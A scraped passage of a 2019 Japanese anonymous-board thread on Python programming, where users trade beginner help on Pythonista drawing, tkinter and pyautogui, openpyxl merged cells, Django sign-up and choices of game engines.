line(((0,self.size.h/2), (self.size.w,self.size.h/2)),('white'),(2))
TypeError: function takes exactly 4 arguments (3 given)
test.py", line 7, in setup
line(((0,self.size.h/2), (self.size.w,self.size.h/2)),('white'),(2))
TypeError: function takes exactly 4 arguments (3 given)
775デフォルトの名無しさん
2019/07/03(水) 15:01:24.21ID:pNJW7omP エラーをなくすには、lineにはx1,y1,x2,y2を与えろ。
776デフォルトの名無しさん
2019/07/03(水) 16:15:08.70ID:8bq8ZhLq line(0, self.size.h/2, self.size.w, self.size.h/2, ('white'), (2))
ライブラリの仕様わからんけど
素直にこんなんじゃダメなの?
後ろの2つは色と太さかな?
そこはオプションと捉えて開始点と終点のX,Yをそれぞれ渡すとかかと
ライブラリの仕様わからんけど
素直にこんなんじゃダメなの?
後ろの2つは色と太さかな?
そこはオプションと捉えて開始点と終点のX,Yをそれぞれ渡すとかかと
777デフォルトの名無しさん
2019/07/03(水) 16:16:22.12ID:8bq8ZhLq 要は「lineのリファレンス参照」だね
778デフォルトの名無しさん
2019/07/03(水) 16:41:56.72ID:aJKbsp3m779デフォルトの名無しさん
2019/07/03(水) 16:45:28.57ID:pNJW7omP lineは昔の関数
scene_drawingのマニュアルに乗ってる
そもそも何処からあの描き方を引っ張って来たのか謎
scene_drawingのマニュアルに乗ってる
そもそも何処からあの描き方を引っ張って来たのか謎
780デフォルトの名無しさん
2019/07/03(水) 17:04:52.37ID:aJKbsp3m 普通に PyGame 使えば良くね?
781デフォルトの名無しさん
2019/07/03(水) 17:32:12.03ID:cRPVTQCX いやいや OpenCV で。
782デフォルトの名無しさん
2019/07/04(木) 07:35:52.61ID:jHXVSuA9 >>779
from scene import *
class Game (Scene):
def setup(self):
x = self.size.w
y = self.size.h
Scene.scene.draw(
scene_drawing.stroke('white')
scene_drawing.stroke_weight(2)
scene_drawing.line(0,y/2,x,y/2))
)
if __name__ == '__main__':
run(Game(), PORTRAIT, show_fps=True)
scene_drawingの使い方ってこれであってますか?
Sene.scene.draw()無しだとエラー、これだと.stroke_wのドットでinvalid syntax、この文を消すと.lineのドットでinvalid syntaxで、インデント変えても同じエラーです
from scene import *
class Game (Scene):
def setup(self):
x = self.size.w
y = self.size.h
Scene.scene.draw(
scene_drawing.stroke('white')
scene_drawing.stroke_weight(2)
scene_drawing.line(0,y/2,x,y/2))
)
if __name__ == '__main__':
run(Game(), PORTRAIT, show_fps=True)
scene_drawingの使い方ってこれであってますか?
Sene.scene.draw()無しだとエラー、これだと.stroke_wのドットでinvalid syntax、この文を消すと.lineのドットでinvalid syntaxで、インデント変えても同じエラーです
783デフォルトの名無しさん
2019/07/04(木) 07:39:06.13ID:jHXVSuA9784デフォルトの名無しさん
2019/07/04(木) 07:41:14.42ID:1cZnRErH マニュアルのclassic render loopの例を真似しろ
785デフォルトの名無しさん
2019/07/04(木) 07:43:06.86ID:233YpIeB ゲームなら本格的にやるならどうせいずれはUnityなどへ乗り換えることになるんだから、
あまり細かいことに拘わらないであくまでプログラミングの基礎の学習と割り切って無理なく実現できる範囲でやればいいと思うよ
あまり細かいことに拘わらないであくまでプログラミングの基礎の学習と割り切って無理なく実現できる範囲でやればいいと思うよ
786デフォルトの名無しさん
2019/07/04(木) 08:36:06.59ID:3+GlBUvX 本格的にやるならDirectXとかだろ
787デフォルトの名無しさん
2019/07/04(木) 09:56:46.36ID:m7LPVTlx SDL
788デフォルトの名無しさん
2019/07/04(木) 11:15:40.32ID:iuGJBH22 from scene import *
class Game (Scene):
def setup(self):
self.background_color = 'black'
def draw(self):
x = self.size.w
y = self.size.h
stroke('green')
stroke_weight(2)
line(0,y/2,x,y/2)
if __name__ == '__main__':
run(Game(), PORTRAIT, show_fps=True)
これで描けるがドキュメント読んで例題を真似するところから始めろ
英語が読めないのかもしれんが、プログラムやりたければ英語は必須
Google翻訳でも辞書でも使いながら読め
class Game (Scene):
def setup(self):
self.background_color = 'black'
def draw(self):
x = self.size.w
y = self.size.h
stroke('green')
stroke_weight(2)
line(0,y/2,x,y/2)
if __name__ == '__main__':
run(Game(), PORTRAIT, show_fps=True)
これで描けるがドキュメント読んで例題を真似するところから始めろ
英語が読めないのかもしれんが、プログラムやりたければ英語は必須
Google翻訳でも辞書でも使いながら読め
789デフォルトの名無しさん
2019/07/04(木) 11:39:52.41ID:1vh1y3WY Pythonの学習を飽きずに続ける為にはPygameのような遊びが必要。
790デフォルトの名無しさん
2019/07/04(木) 12:21:00.36ID:Lfke7hNJ AIでもやれば
791デフォルトの名無しさん
2019/07/04(木) 13:08:47.05ID:xB73QuGr PC98時代のBASICは簡単に図形が書けてそれが全く無意味でも見ていて楽しかったが
今はそういうのが少ない
Pythonに限らず終始コンソールとにらめっこ、これじゃあ飽きる
文字が表示されただけだとフーンで終わりだけど
線が一本出てくるだけでヴィジュアルな説得力が違うらしい
今はそういうのが少ない
Pythonに限らず終始コンソールとにらめっこ、これじゃあ飽きる
文字が表示されただけだとフーンで終わりだけど
線が一本出てくるだけでヴィジュアルな説得力が違うらしい
792デフォルトの名無しさん
2019/07/04(木) 13:13:51.59ID:P2OYpX0Q でもあれって文字と図形の画面が重なっているってだけで今だって別ウインドウに表示できるじゃん。
793デフォルトの名無しさん
2019/07/04(木) 17:21:38.05ID:jHXVSuA9794デフォルトの名無しさん
2019/07/04(木) 18:06:42.63ID:jHXVSuA9 >>790
ゆくゆくやりたくてPython始めたけど用語とか全然わからないからそこ鍛えます
ゆくゆくやりたくてPython始めたけど用語とか全然わからないからそこ鍛えます
795デフォルトの名無しさん
2019/07/04(木) 18:15:33.48ID:iuGJBH22 Pythonistaみたいなマニアックな環境の情報なんて日本語では殆どないから難しそうと思っても元のドキュメントにあたること
最近のGoogle翻訳優秀だけど、英文を自力で読む能力がないと変な翻訳になった時にその部分を読むことが出来ないので多少は必要
sceneのドキュメントならgoogle翻訳でもほぼ意味の通る日本語訳が得られるが、逃げてたらいつまで経っても読めるようにならないからgoogle翻訳しながらで良いから英語と日本語を見比べて英語に慣れろ
コードを含んでるのを一括で翻訳させるとコード部分がおかしくなるから必要なところだけコピペで翻訳
そもそもsceneみたいなpythonista固有の話はpythonistaスレで聞いた方が良いぞ
最近のGoogle翻訳優秀だけど、英文を自力で読む能力がないと変な翻訳になった時にその部分を読むことが出来ないので多少は必要
sceneのドキュメントならgoogle翻訳でもほぼ意味の通る日本語訳が得られるが、逃げてたらいつまで経っても読めるようにならないからgoogle翻訳しながらで良いから英語と日本語を見比べて英語に慣れろ
コードを含んでるのを一括で翻訳させるとコード部分がおかしくなるから必要なところだけコピペで翻訳
そもそもsceneみたいなpythonista固有の話はpythonistaスレで聞いた方が良いぞ
796デフォルトの名無しさん
2019/07/04(木) 18:44:46.57ID:VpXpLSzf Pythonistaは捨てた方が良い
初心者ならなおさら早く捨てろ
初心者ならなおさら早く捨てろ
797デフォルトの名無しさん
2019/07/04(木) 19:22:14.89ID:Lfke7hNJ >>794
微積と線形代数ができれば何とかなる。
微積と線形代数ができれば何とかなる。
798デフォルトの名無しさん
2019/07/04(木) 19:24:20.61ID:9FnHD5Ij 何かPythonistaに対して辛辣だな…
ぴゅう太のPython版みたいなもんだろ?
ぴゅう太のPython版みたいなもんだろ?
799デフォルトの名無しさん
2019/07/04(木) 19:34:19.82ID:iuGJBH22 iosで動くものが作りたければ悪くない。
pythonの勉強したいだけなら安物ノートPC買ってanacondaでもぶち込むのが良いと思う。
スマホでプログラミングとかめんどくさい。
ios関係ない部分はノートPCで作ってテストする方が楽だし。
pythonの勉強したいだけなら安物ノートPC買ってanacondaでもぶち込むのが良いと思う。
スマホでプログラミングとかめんどくさい。
ios関係ない部分はノートPCで作ってテストする方が楽だし。
800デフォルトの名無しさん
2019/07/05(金) 04:53:16.94ID:oIzKWS1p >>796
なぜ?
なぜ?
801デフォルトの名無しさん
2019/07/05(金) 09:05:36.21ID:mnomUbi5 >>799
外出先でラズパイのテストするのにpythonista優秀かなって思ったんですけど微妙だし、iPhone特化ならSwiftの方が楽しそうだし思った以上に微妙なアプリですね
外出先でラズパイのテストするのにpythonista優秀かなって思ったんですけど微妙だし、iPhone特化ならSwiftの方が楽しそうだし思った以上に微妙なアプリですね
802デフォルトの名無しさん
2019/07/05(金) 09:08:42.66ID:PPVi4gbV リモートでという訳じゃないんだよね
803デフォルトの名無しさん
2019/07/05(金) 10:04:36.96ID:VFDsVg6y 微妙微妙ってうるせえんだよお前だって微妙な存在のくせに
804デフォルトの名無しさん
2019/07/05(金) 10:42:46.12ID:+NvS7zWZ 微妙なレス乙。
805デフォルトの名無しさん
2019/07/05(金) 13:53:26.21ID:QcOY/dYf 大学の夏休みにpythonを勉強しようと思うんだがオススメの本とかサイトとかありますか?
他はプログラミング言語ではないですがhtml cssを勉強したくらいです
他はプログラミング言語ではないですがhtml cssを勉強したくらいです
806デフォルトの名無しさん
2019/07/05(金) 14:05:34.83ID:VjosMbCo pythonの用途によるでしょう
・そのままweb関連に使用するならどのフレームワーク選ぶかによって変わってくる
・webとは関係ない用途ならまた変わる
・プログラミングの初学者向けにという話ならばそれはそれでまた変わる
初学者向けという話なら
個人的には本なんか買わずに適当にネット調べるだけでそういう解説サイトが腐るほど出てくるだろうから
自分が分かりやすいと思ったサイトで勉強すれば良いと思う
どうしても手元に「モノ」が無いと気が済まないという人なら申し訳ない
・そのままweb関連に使用するならどのフレームワーク選ぶかによって変わってくる
・webとは関係ない用途ならまた変わる
・プログラミングの初学者向けにという話ならばそれはそれでまた変わる
初学者向けという話なら
個人的には本なんか買わずに適当にネット調べるだけでそういう解説サイトが腐るほど出てくるだろうから
自分が分かりやすいと思ったサイトで勉強すれば良いと思う
どうしても手元に「モノ」が無いと気が済まないという人なら申し訳ない
807デフォルトの名無しさん
2019/07/05(金) 14:49:16.25ID:Faw4Vm9D ゲームを造りたいです
Pythonista 以外で何がおすすめですか?
Pythonista 以外で何がおすすめですか?
808デフォルトの名無しさん
2019/07/05(金) 14:56:04.38ID:QcOY/dYf >>806
最終的にはアプリを作りたいというのがあります
ただアプリ向きの言語は難しいのが多いイメージがあるので初めは相対的に容易であるらしいpythonを勉強しようと思いました。
pythonではYouTubeのようなwebサイトを作りたいです
最終的にはアプリを作りたいというのがあります
ただアプリ向きの言語は難しいのが多いイメージがあるので初めは相対的に容易であるらしいpythonを勉強しようと思いました。
pythonではYouTubeのようなwebサイトを作りたいです
809デフォルトの名無しさん
2019/07/05(金) 14:57:30.24ID:+NvS7zWZ クソ言語よけ御守りリンク
フリーランス向け新規案件のプログラミング言語、「Python」がシェア拡大、ブロックチェーンや機械学習などの需要増で
https://internet.watch.impress.co.jp/docs/news/1194/299/index.html
https://internet.watch.impress.co.jp/img/iw/docs/1194/299/program01_o.jpg
フリーランス向け新規案件のプログラミング言語、「Python」がシェア拡大、ブロックチェーンや機械学習などの需要増で
https://internet.watch.impress.co.jp/docs/news/1194/299/index.html
https://internet.watch.impress.co.jp/img/iw/docs/1194/299/program01_o.jpg
810デフォルトの名無しさん
2019/07/05(金) 14:58:30.19ID:QoqjOHWb Java多すぎるな
811デフォルトの名無しさん
2019/07/05(金) 15:10:19.67ID:Faw4Vm9D 7pay って java なんか
812デフォルトの名無しさん
2019/07/05(金) 15:47:40.33ID:2wwKU1Zf >>807
Pythonを学ぶことではなくゲームを作って人に遊んでもらうことが目的なら、誠に残念ながらPythonを諦めてUnityをやるのが正解
Pythonで学んだ基礎はC#でも活かせるし、ちょっとしたツールや作業でスクリプト言語は必須だから無駄にはならない
Pythonを学ぶことではなくゲームを作って人に遊んでもらうことが目的なら、誠に残念ながらPythonを諦めてUnityをやるのが正解
Pythonで学んだ基礎はC#でも活かせるし、ちょっとしたツールや作業でスクリプト言語は必須だから無駄にはならない
813デフォルトの名無しさん
2019/07/05(金) 17:02:39.85ID:4G8zbZ4X >>811
7iD解約したらstrutsのエラーが表示されたって話はあったな
7iD解約したらstrutsのエラーが表示されたって話はあったな
814デフォルトの名無しさん
2019/07/05(金) 20:33:07.73ID:iWwKPTln815デフォルトの名無しさん
2019/07/05(金) 21:50:24.35ID:Qt9v3RHt Python認定取るなら
国内のPython 3 エンジニア認定基礎試験
海外のPython Institute
どっちがいいかな?
https://www.internetacademy.jp/it/programming/programming-basic/python-exam-certification.html
国内のPython 3 エンジニア認定基礎試験
海外のPython Institute
どっちがいいかな?
https://www.internetacademy.jp/it/programming/programming-basic/python-exam-certification.html
816デフォルトの名無しさん
2019/07/05(金) 21:56:42.11ID:F9inbx89 どっちもいらん
趣味のアプリ作ってGitHubで公開したほうが100倍マシ
趣味のアプリ作ってGitHubで公開したほうが100倍マシ
817デフォルトの名無しさん
2019/07/05(金) 22:56:12.78ID:qKajO0ES 金融系はjavaなのか
いまだにCOBOLが使われていると思ってた
いまだにCOBOLが使われていると思ってた
818デフォルトの名無しさん
2019/07/05(金) 23:19:16.06ID:QClxBoOt djangoで2段階認証システムを実装したいのですが、登録メールアドレスに対して認証パスワードを発行して本登録というよくあるやつをするのは難しいですか?
819デフォルトの名無しさん
2019/07/05(金) 23:23:12.02ID:77aHTDd7 7ペイ(2段階認証…? 何だそれは…??)
820デフォルトの名無しさん
2019/07/05(金) 23:38:02.34ID:PP8Gxsz6 >>814
それどこのD@T@さんの話ですのん
それどこのD@T@さんの話ですのん
821デフォルトの名無しさん
2019/07/05(金) 23:45:33.01ID:Mf1JTcZw >>818
難しくはないけど、メールサーバ立てたり、djangoとは関係ないところで知識が要るだろうね
難しくはないけど、メールサーバ立てたり、djangoとは関係ないところで知識が要るだろうね
822デフォルトの名無しさん
2019/07/05(金) 23:55:13.43ID:V1OP8/TU823デフォルトの名無しさん
2019/07/06(土) 05:54:33.18ID:NQ6yZ6bw プログラミングは小さく分解して、コードを動かす事が大事ですか
ただ、ちゅーとをコピペするだけじゃ身につかないですもんね
ただ、ちゅーとをコピペするだけじゃ身につかないですもんね
824デフォルトの名無しさん
2019/07/06(土) 09:16:50.71ID:Qorx3cLN Dropboxがpython で作られてたから始めたけど
異なるOSとのファイル通信が分からない(セキュリティ込み)
なにかのライブラリが明快なUI層を提供し、水面下で難しいことやってくれるのか?
異なるOSとのファイル通信が分からない(セキュリティ込み)
なにかのライブラリが明快なUI層を提供し、水面下で難しいことやってくれるのか?
825デフォルトの名無しさん
2019/07/06(土) 09:54:43.89ID:yL7WV1Xt httpsだろ
826デフォルトの名無しさん
2019/07/06(土) 10:08:52.09ID:yL7WV1Xt Dropboxが〜と言ってるから
Dropboxのマネしたいのかと思って、Dropboxが使っているhttpsを挙げたけど
単にセキュアなソケットが欲しいだけならpycryptoとかで暗号化したデータをソケットに書き込むだけ
Dropboxのマネしたいのかと思って、Dropboxが使っているhttpsを挙げたけど
単にセキュアなソケットが欲しいだけならpycryptoとかで暗号化したデータをソケットに書き込むだけ
827デフォルトの名無しさん
2019/07/06(土) 10:30:23.27ID:Qorx3cLN thanks
Dropboxのマネがしたかったんだ 平たく言えば課金の料金浮かして
容量制限もなく拡張の自由のあるのが欲しかった
Dropboxのマネがしたかったんだ 平たく言えば課金の料金浮かして
容量制限もなく拡張の自由のあるのが欲しかった
828デフォルトの名無しさん
2019/07/06(土) 10:41:03.34ID:yL7WV1Xt であれば自鯖にNextcloudとか載せた方が楽だと思うなあ
自力で書きたいなら止めないけど
自力で書きたいなら止めないけど
829デフォルトの名無しさん
2019/07/06(土) 10:47:45.42ID:Qorx3cLN Nextcloud ですね。調べて使います ありがとう
830デフォルトの名無しさん
2019/07/06(土) 12:58:44.28ID:iAyv1LJ6831デフォルトの名無しさん
2019/07/06(土) 15:32:34.17ID:mP598+4f pythonの勉強をするために独学プログラマーpythonとかいうやつを買ってみたぜ
832デフォルトの名無しさん
2019/07/06(土) 22:50:32.72ID:m5/URh2q 日経ソフトウェアのPythonムック本をちょこちょこやって
統計まで終わらせて
さあTensorFlowだ!
と思ってcondaってみようと思ったが
用心しとけと思って各種サイトを調べた
自分のPCはGPUも無いからCPU版を選ぶしかない
それはともかく、あるサイトでは
pipでいいよってあるが
本にはcondaで持ってこいってある
更にTensorFlowはベータ版で2が出たばかりか
でも1.5やらを薦めてる所が多い
おまけに自分のPythonは3.7になってる!!!
TensorFlowのページでは3.6までしか無いぞ!
これは、ちょっと数日悩んでみた方が安全なパターンだな、とw
今までこの本を読んできて、あちこちで警告は出た(matplotlibのバージョン違いゆえ
normedがdensityに変わったとか)ものの順調に来たが、
ここからは大変だ
統計まで終わらせて
さあTensorFlowだ!
と思ってcondaってみようと思ったが
用心しとけと思って各種サイトを調べた
自分のPCはGPUも無いからCPU版を選ぶしかない
それはともかく、あるサイトでは
pipでいいよってあるが
本にはcondaで持ってこいってある
更にTensorFlowはベータ版で2が出たばかりか
でも1.5やらを薦めてる所が多い
おまけに自分のPythonは3.7になってる!!!
TensorFlowのページでは3.6までしか無いぞ!
これは、ちょっと数日悩んでみた方が安全なパターンだな、とw
今までこの本を読んできて、あちこちで警告は出た(matplotlibのバージョン違いゆえ
normedがdensityに変わったとか)ものの順調に来たが、
ここからは大変だ
833デフォルトの名無しさん
2019/07/06(土) 23:00:00.83ID:n0aqwwda 初歩的な質問ですいません
invalid syntaxが出てどこが構文エラーなのかはわかりました
しかしバックスペースを使っても消せないです
どう消すのですか?
invalid syntaxが出てどこが構文エラーなのかはわかりました
しかしバックスペースを使っても消せないです
どう消すのですか?
834デフォルトの名無しさん
2019/07/06(土) 23:00:18.05ID:CYEA0Aa1 なんかこういうのってよくわからないけどあのモジュールのあの関数のあのメソッドさえ呼び出せばできる!みたいなブラックボックス感が気持ち悪い感じがしないでもない
完ぺき主義なんだが、でも一つ一つライブラリ内の動きまで全部把握しようとしたら大変なんだろうな
みんなよーわからんけどあの処理したいならあれをimportしとけ、みたいな感じで使ってるん?
完ぺき主義なんだが、でも一つ一つライブラリ内の動きまで全部把握しようとしたら大変なんだろうな
みんなよーわからんけどあの処理したいならあれをimportしとけ、みたいな感じで使ってるん?
835デフォルトの名無しさん
2019/07/06(土) 23:03:05.26ID:Qorx3cLN いざとなったら C言語が待ち構えているから
その時がんばればいい
その時がんばればいい
836デフォルトの名無しさん
2019/07/06(土) 23:04:27.17ID:m5/URh2q >>833
コマンドプロンプト上でプログラムを書いているのですか?
コマンドプロンプト上でプログラムを書いているのですか?
837デフォルトの名無しさん
2019/07/06(土) 23:10:50.54ID:n0aqwwda838デフォルトの名無しさん
2019/07/06(土) 23:22:25.67ID:bsIX/mec839デフォルトの名無しさん
2019/07/06(土) 23:22:29.06ID:CYEA0Aa1 >>> とかなってるやつでしょ
840デフォルトの名無しさん
2019/07/06(土) 23:38:25.26ID:m5/URh2q 公式から落として来るIDLEかなあ
あるいはIPythonか
あるいはIPythonか
841デフォルトの名無しさん
2019/07/07(日) 00:20:43.82ID:VTyBYCSH842デフォルトの名無しさん
2019/07/07(日) 00:34:20.64ID:xEpXLzHp 気にせずにもう1回、間違えずに書けばいいだけですよw
あと、
https://gammasoft.jp/python/python-idle-basic-operation/
ファイルから実行する方法も覚えましょう
上のメニューから、Fileから新規作成してコードを書いて保存
runというところから、Run moduleで実行、など
あと、
https://gammasoft.jp/python/python-idle-basic-operation/
ファイルから実行する方法も覚えましょう
上のメニューから、Fileから新規作成してコードを書いて保存
runというところから、Run moduleで実行、など
843デフォルトの名無しさん
2019/07/07(日) 00:49:34.42ID:xBPYzBO2844デフォルトの名無しさん
2019/07/07(日) 03:48:11.13ID:SJMaO0V+ 初々しくてちょっとホッコリしたわ
845デフォルトの名無しさん
2019/07/08(月) 16:22:25.92ID:5h3wwFR4 tkinterのentryボックスへ自動入力モジュールpyautoguiを使って「test」と入力するものだけど、
testと入力された後でエントリーボックスが遅れて配置されるから想定通りに動かない。
これが想定通りに動かない理由はなぜ?
import pyautogui
import tkinter
root = tkinter.Tk()
e = tkinter.Entry(root, width="10")
e.pack()
e.focus_set()
pyautogui.typewrite('test')
root.mainloop()
testと入力された後でエントリーボックスが遅れて配置されるから想定通りに動かない。
これが想定通りに動かない理由はなぜ?
import pyautogui
import tkinter
root = tkinter.Tk()
e = tkinter.Entry(root, width="10")
e.pack()
e.focus_set()
pyautogui.typewrite('test')
root.mainloop()
846デフォルトの名無しさん
2019/07/08(月) 16:25:46.00ID:5h3wwFR4 次に、エントリーボックスを最初に設置した上で実行しても、想定通りに動かない。
想定は、エントリーボックスを設置⇒ボタンを押し関数aaaが呼び出される⇒pyautogui.typewrite('test')でエントリーボックスへ「test」と入力⇒print(x.get())でエントリーボックスの入力内容を読み取って表示
実際は、エントリーボックスを設置⇒ボタンを押し関数aaaが呼び出される⇒print(x.get())を実行する⇒エントリーボックスへ「test」と入力
と、pyautogui.typewrite('test')とprint(x.get())の実行順序が逆になる。そのためにprintが表示されない。
これらが書かれてる順番通りに動かない理由はなぜ?
import tkinter
import pyautogui
root = tkinter.Tk()
def aaa(x, y):
y.focus_set()
pyautogui.typewrite('test')
print(x.get())
text = tkinter.StringVar()
e = tkinter.Entry(root, width="5", textvariable=text)
e.pack()
tkinter.Button(root, text="ボタン", command=lambda: aaa(text, e)).pack()
root.mainloop()
想定は、エントリーボックスを設置⇒ボタンを押し関数aaaが呼び出される⇒pyautogui.typewrite('test')でエントリーボックスへ「test」と入力⇒print(x.get())でエントリーボックスの入力内容を読み取って表示
実際は、エントリーボックスを設置⇒ボタンを押し関数aaaが呼び出される⇒print(x.get())を実行する⇒エントリーボックスへ「test」と入力
と、pyautogui.typewrite('test')とprint(x.get())の実行順序が逆になる。そのためにprintが表示されない。
これらが書かれてる順番通りに動かない理由はなぜ?
import tkinter
import pyautogui
root = tkinter.Tk()
def aaa(x, y):
y.focus_set()
pyautogui.typewrite('test')
print(x.get())
text = tkinter.StringVar()
e = tkinter.Entry(root, width="5", textvariable=text)
e.pack()
tkinter.Button(root, text="ボタン", command=lambda: aaa(text, e)).pack()
root.mainloop()
847デフォルトの名無しさん
2019/07/08(月) 16:28:25.75ID:Wl9thvkN mainloopが始まる前に送信したらあかんで
848デフォルトの名無しさん
2019/07/08(月) 16:31:41.13ID:Wl9thvkN 順番が入れ替わるのも関数を抜けてmainloopに戻ってから処理されるからやで
849デフォルトの名無しさん
2019/07/08(月) 20:50:21.46ID:CstuxD8g pythonの実行自体を分析したりしたいんだけど、traceモジュール以外に面白そうなオプションとかモジュールってある?
850デフォルトの名無しさん
2019/07/08(月) 22:31:00.37ID:diib63X5 スペルチェックできるlinterはありますか?
pycodestyleいれてみたのですが、
print("a")
のところを
prant("a")
と打ってもエラーが出ません。
pycodestyleいれてみたのですが、
print("a")
のところを
prant("a")
と打ってもエラーが出ません。
851デフォルトの名無しさん
2019/07/09(火) 08:06:03.08ID:ArvhGjhl 教えてください
環境 win10+python3.7+openpyxl2.6.2
openpyxl.load_workbook(FILENAME)
このコマンドでエクセルファイルを読み込んでいます。
出力に応じてセルを結合していると時間がかかったため、予めセルを結合したファイルを作成して読み込みたいのですが、なぜかそのファイルを読み込むとその行で止まります。
read_only=trueで読み込むとすぐ完了するのですが原因はなにが考えられますか?
ファイルの大きさは100kb弱です
環境 win10+python3.7+openpyxl2.6.2
openpyxl.load_workbook(FILENAME)
このコマンドでエクセルファイルを読み込んでいます。
出力に応じてセルを結合していると時間がかかったため、予めセルを結合したファイルを作成して読み込みたいのですが、なぜかそのファイルを読み込むとその行で止まります。
read_only=trueで読み込むとすぐ完了するのですが原因はなにが考えられますか?
ファイルの大きさは100kb弱です
852デフォルトの名無しさん
2019/07/09(火) 08:17:17.86ID:6ZGaSuf8853デフォルトの名無しさん
2019/07/09(火) 08:33:53.44ID:ArvhGjhl854デフォルトの名無しさん
2019/07/09(火) 13:38:25.06ID:6ZGaSuf8855デフォルトの名無しさん
2019/07/09(火) 17:30:05.84ID:Iyp2p4+Y Pythonがさらに成長 - 7月TIOBEプログラミング言語ランキング
2019/07/09 15:23 後藤大地
https://news.mynavi.jp/article/20190709-856639/
TIOBE Softwareから、2019年7月のTIOBE Programming Community Index (PCI)が公開された。
TIOBE PCIは、複数の検索エンジンの検索結果から、対象となるプログラミング言語がどれ
だけ話題になっているかをインデックス化したもの。
https://news.mynavi.jp/article/20190709-856639/images/001.jpg
7月TIOBE Programming Community Index / 円グラフ
019年7月もPythonが引き続き増加した。Pythonは2018年に入ってから増加傾向を強めており、
現在もその傾向が続いている。TIOBE SoftwareはこうしたPythonの増加は他のプログラ
ミング言語の減少に結びついており、特にPerlとRの減少が大きいと指摘している。
特にTIOBE SoftwareはPerlについて言及。Perlは2005年の段階では3位のポジションにあり、
10%以上のインデックス値を得ていた。しかし、その後Perlはポイントを減らし、現在では
Perlは観測史上最も低い値をつけている。
2019/07/09 15:23 後藤大地
https://news.mynavi.jp/article/20190709-856639/
TIOBE Softwareから、2019年7月のTIOBE Programming Community Index (PCI)が公開された。
TIOBE PCIは、複数の検索エンジンの検索結果から、対象となるプログラミング言語がどれ
だけ話題になっているかをインデックス化したもの。
https://news.mynavi.jp/article/20190709-856639/images/001.jpg
7月TIOBE Programming Community Index / 円グラフ
019年7月もPythonが引き続き増加した。Pythonは2018年に入ってから増加傾向を強めており、
現在もその傾向が続いている。TIOBE SoftwareはこうしたPythonの増加は他のプログラ
ミング言語の減少に結びついており、特にPerlとRの減少が大きいと指摘している。
特にTIOBE SoftwareはPerlについて言及。Perlは2005年の段階では3位のポジションにあり、
10%以上のインデックス値を得ていた。しかし、その後Perlはポイントを減らし、現在では
Perlは観測史上最も低い値をつけている。
856デフォルトの名無しさん
2019/07/09(火) 17:37:18.17ID:K/xdhMHC >>855
ブビィは?ブビィはどこ?wwww
ブビィは?ブビィはどこ?wwww
857デフォルトの名無しさん
2019/07/09(火) 17:42:12.96ID:0LSiayCj js少なすぎでデータの信頼性に疑問が残る
858デフォルトの名無しさん
2019/07/09(火) 17:52:22.33ID:eisemN0h JSの検索結果がこんな少ないわけが無いわな
859デフォルトの名無しさん
2019/07/09(火) 18:43:30.51ID:K/xdhMHC おいおいjsじゃなくてブヒィだろこんな少ないわけないのわwwwww
860デフォルトの名無しさん
2019/07/09(火) 18:57:08.36ID:Bxc9+xb9 検索される=奥が深い言語、だろ
利用者数あるいは奥の深さで検索される
ポインタの至るところで躓くC言語は余りにも奥が深いので検索されまくる
利用者数あるいは奥の深さで検索される
ポインタの至るところで躓くC言語は余りにも奥が深いので検索されまくる
861デフォルトの名無しさん
2019/07/09(火) 19:27:11.68ID:ELurHXpG 小さいことをコツコツやるしかないのかい
862デフォルトの名無しさん
2019/07/09(火) 20:07:13.44ID:WbN+JISp なんだよPythonってC#より使われているのかよ
C#要らないじゃんこれじゃ
C#要らないじゃんこれじゃ
863デフォルトの名無しさん
2019/07/09(火) 20:20:00.11ID:eMVJsjHB ケースバイケースだろんなもん
WindowsのGUIアプリをPythonで組みたいか?
WindowsのGUIアプリをPythonで組みたいか?
864デフォルトの名無しさん
2019/07/09(火) 21:11:47.35ID:kBXtWzHg C#は社内システムとかで使われたりすることも多いからこの手の統計には現れにくい
865デフォルトの名無しさん
2019/07/09(火) 21:15:12.25ID:4Dch2WPe 何社の社内システム見たんだよ信憑性なさすぎ
866デフォルトの名無しさん
2019/07/09(火) 22:10:17.75ID:SdMmc1kb867デフォルトの名無しさん
2019/07/09(火) 22:24:23.67ID:6YknmgzY868デフォルトの名無しさん
2019/07/09(火) 22:56:58.86ID:6YknmgzY >>854
ありがとう&すんまへん。行数小さくしたらできた。ただただcpuスペックが弱いだけでござった。ちなみに元のファイルが1000行ぐらいあって放置してたら300秒かかってました。
う〜む。結合セル重いな
ありがとう&すんまへん。行数小さくしたらできた。ただただcpuスペックが弱いだけでござった。ちなみに元のファイルが1000行ぐらいあって放置してたら300秒かかってました。
う〜む。結合セル重いな
869デフォルトの名無しさん
2019/07/10(水) 08:50:01.20ID:StxWbt+s たった1000行で300秒というインパクトやばい
870デフォルトの名無しさん
2019/07/10(水) 08:54:55.84ID:20z7Ogqb #セル結合を許さない市民の会 が喜びそうな話だな
871デフォルトの名無しさん
2019/07/10(水) 10:35:33.82ID:GzbTel9Z ゲームの基本はパズルゲームですか?
872デフォルトの名無しさん
2019/07/10(水) 10:52:48.29ID:GzbTel9Z パズルゲームにおけるブロックの入れ替えの概念はどういうものでしょうか
参考ページでもアレば教えてください
配列でブロックをズラッとならべて、クリックされた位置のブロックを入れ替えたりするには
参考ページでもアレば教えてください
配列でブロックをズラッとならべて、クリックされた位置のブロックを入れ替えたりするには
873デフォルトの名無しさん
2019/07/10(水) 11:29:06.85ID:bzIzkqr1 >>872
一つでもいいので今までに実装したことのあるアルゴリズムを書いてみてください
一つでもいいので今までに実装したことのあるアルゴリズムを書いてみてください
874デフォルトの名無しさん
2019/07/10(水) 11:31:38.81ID:ijK3CRFL 八分木
875デフォルトの名無しさん
2019/07/10(水) 11:37:39.06ID:+uFplCdI876デフォルトの名無しさん
2019/07/10(水) 18:25:00.59ID:GzbTel9Z やるよ
877デフォルトの名無しさん
2019/07/10(水) 18:52:03.51ID:LkROvUE2878cufflinksを使って、plotlyを動かしても、エラーが出る(泣)
2019/07/10(水) 23:04:13.36ID:p0l6FVVk cufflinksを使って、plotlyを動かしても、以下のエラーが出る。
どうすれば、いいのか(泣)
ValueError:
Invalid value of type 'numpy.int64' received for the 'name' property of scatter3d
Received value: 0
The 'name' property is a string and must be specified as:
- A string
- A number that will be converted to a string
どうすれば、いいのか(泣)
ValueError:
Invalid value of type 'numpy.int64' received for the 'name' property of scatter3d
Received value: 0
The 'name' property is a string and must be specified as:
- A string
- A number that will be converted to a string
879cufflinksを使って、plotlyを動かしても、エラーが出る(泣)
2019/07/10(水) 23:04:48.57ID:p0l6FVVk import pandas as pd
import cufflinks as cf
import numpy as np
from sklearn import datasets
from sklearn.manifold import TSNE
pd.options.display.max_rows=10
plotly.offline.init_notebook_mode(connected=True)
